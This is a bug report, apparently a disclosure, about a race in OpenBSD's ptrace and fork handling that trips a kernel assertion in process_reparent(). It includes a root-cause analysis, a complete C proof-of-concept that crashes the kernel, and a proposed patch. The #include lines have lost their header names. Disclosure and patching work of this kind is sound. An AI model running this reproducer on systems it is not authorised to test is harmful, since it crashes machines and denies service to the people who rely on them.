# OpenBSD exit() Panic - ptrace fork race condition in process_reparent() ## Summary A kernel panic can be triggered in OpenBSD's `kern_exit.c` by exploiting a race condition between `ptrace` with `PTRACE_FORK` event mask and rapidly forking from a multi-threaded traced process. The panic is: ``` panic: kernel diagnostic assertion "child->ps_opptr == NULL || child->ps_opptr == child->ps_pptr" failed: file "/usr/src/sys/kern/kern_exit.c", line 840 ``` Call chain: `userret -> proc_suspend_check_locked -> exit1 -> process_reparent` ## Root Cause When a traced process (via `PT_TRACE_ME`) forks, the fork code in `kern_fork.c` sets up the grandchild process as follows: 1. `grandchild->ps_opptr = traced_parent` (the traced process that did the fork) 2. `process_reparent(grandchild, traced_parent->ps_pptr)` (reparent to the tracer) After this, the grandchild has: - `ps_opptr` = the traced parent (B) - `ps_pptr` = the tracer (A) - `PS_TRACED` flag set This is a **legitimate** state where `ps_opptr != ps_pptr`. The invariant checked by the assertion in `process_reparent()` is violated. When the grandchild later exits, `exit1()` can call `process_reparent()` on the grandchild itself (via the NOZOMBIE path at line 381) or on its children (via the child-walking path at line 336). These paths do NOT first clear `ps_opptr` via `process_untrace()`, so the assertion fires. ## The Two Trigger Paths in exit1() ### Path 1: NOZOMBIE reparent (line 379-384) ```c if (pr->ps_flags & PS_NOZOMBIE) { struct process *ppr = pr->ps_pptr; process_reparent(pr, initprocess); /* <-- ASSERTION FAILS */ ... } ``` `PS_NOZOMBIE` is set when the parent (the tracer A) has `SIG_IGN` for `SIGCHLD`. The grandchild's `ps_opptr` still points to B while `ps_pptr` points to A. ### Path 2: Child-walking else branch (line 336) ```c if (qr->ps_flags & PS_TRACED && !(qr->ps_flags & PS_EXITING)) { process_untrace(qr); /* clears ps_opptr - safe */ } else { process_reparent(qr, initprocess); /* <-- ASSERTION FAILS */ } ``` When a child is both `PS_TRACED` AND `PS_EXITING`, the else branch is taken. The child's `ps_opptr` is still set and `ps_opptr != ps_pptr`. ## Reproduction ```c /* testcase-exit.c * * Compile: cc -lpthread -o testcase-exit testcase-exit.c * Run: ./testcase-exit * * Expected: kernel panic with assertion failure in process_reparent() * * Key elements: * 1. Tracer sets SIG_IGN for SIGCHLD (grandchildren get PS_NOZOMBIE) * 2. Traced child (PT_TRACE_ME) is multi-threaded * 3. PTRACE_FORK event mask is set on traced child * 4. Multiple threads in traced child fork rapidly * 5. Grandchildren exit immediately (_exit(0)) */ #include #include #include #include #include #include #include #include #include #include static volatile int go; static volatile int stop; void *forker(void *arg) { (void)arg; while (!go) { struct timespec ts = {0, 10000}; nanosleep(&ts, NULL); } for (;;) { if (stop) break; pid_t p = fork(); if (p == 0) { _exit(0); } } return NULL; } int main(void) { /* Tracer ignores SIGCHLD so grandchildren get PS_NOZOMBIE */ struct sigaction sa; memset(&sa, 0, sizeof(sa)); sa.sa_handler = SIG_IGN; sigaction(SIGCHLD, &sa, NULL); pid_t child = fork(); int status; if (child < 0) { perror("fork"); return 1; } if (child == 0) { /* --- TRACED CHILD --- */ if (ptrace(PT_TRACE_ME, 0, (caddr_t)1, 0) == -1) { perror("child: ptrace PT_TRACE_ME"); _exit(1); } /* Also ignore SIGCHLD here */ sigaction(SIGCHLD, &sa, NULL); int nthreads = 16; pthread_t *threads = malloc(sizeof(pthread_t) * nthreads); int i; for (i = 0; i < nthreads; i++) { if (pthread_create(&threads[i], NULL, forker, NULL) != 0) break; } nthreads = i; /* Stop to let parent know we're ready */ raise(SIGSTOP); go = 1; /* Run for a bit then stop */ struct timespec ts = {3, 0}; nanosleep(&ts, NULL); stop = 1; for (i = 0; i < nthreads; i++) pthread_join(threads[i], NULL); free(threads); _exit(0); } /* --- TRACER (PARENT) --- */ fprintf(stderr, "[Parent] Waiting for child %d to stop (PT_TRACE_ME)...\n", child); if (waitpid(child, &status, 0) == -1) { perror("parent: waitpid"); return 1; } fprintf(stderr, "[Parent] Child stopped (signal=%d) race window open\n", WIFSTOPPED(status) ? WSTOPSIG(status) : -1); struct ptrace_event pe; pe.pe_set_event = PTRACE_FORK; fprintf(stderr, "[Parent] >>> SETTING PTRACE_FORK (RACE WINDOW) <<<\n"); if (ptrace(PT_SET_EVENT_MASK, child, (caddr_t)&pe, sizeof(pe)) == -1) { perror("parent: ptrace PT_SET_EVENT_MASK"); } else { fprintf(stderr, "[Parent] PTRACE_FORK event mask set\n"); } fprintf(stderr, "[Parent] Continuing child (forks imminent...)\n"); fflush(stderr); ptrace(PT_CONTINUE, child, (caddr_t)1, 0); int count = 0; while (1) { pid_t w = waitpid(-1, &status, WNOHANG); if (w == -1) { if (errno == ECHILD) break; usleep(100); continue; } if (w == 0) { usleep(50); continue; } count++; if (WIFSTOPPED(status)) { ptrace(PT_CONTINUE, w, (caddr_t)1, 0); } else if (WIFEXITED(status) || WIFSIGNALED(status)) { if (w == child) break; } } fprintf(stderr, "[Parent] Processed %d events, done.\n", count); return 0; } ``` ## Fix The assertion in `process_reparent()` is too strict. The invariant `ps_opptr == NULL || ps_opptr == ps_pptr` does NOT hold for grandchildren of traced processes, where `ps_opptr` is the traced parent and `ps_pptr` is the tracer. **Minimal fix**: Clear `ps_opptr` before calling `process_reparent()` in the NOZOMBIE path and child-walking else branch: ```c /* Line 379-384: NOZOMBIE reparent */ if (pr->ps_flags & PS_NOZOMBIE) { struct process *ppr = pr->ps_pptr; pr->ps_opptr = NULL; /* <-- ADD */ process_reparent(pr, initprocess); ... } /* Line 336: child-walking else branch */ } else { qr->ps_opptr = NULL; /* <-- ADD */ process_reparent(qr, initprocess); ... } ``` **Alternative fix**: Replace the assertion with a comment explaining the legitimate case, or adjust the assertion to account for ptrace grandchildren. ## Affected Code - File: `/usr/src/sys/kern/kern_exit.c` - Function: `process_reparent()` (line 839-840 assertion) - Call sites in `exit1()`: line 336, line 381 - Related: `process_untrace()` correctly clears `ps_opptr` before reparenting ## Environment - OpenBSD 7.9 GENERIC (kernel source kern_exit.c,v 1.252)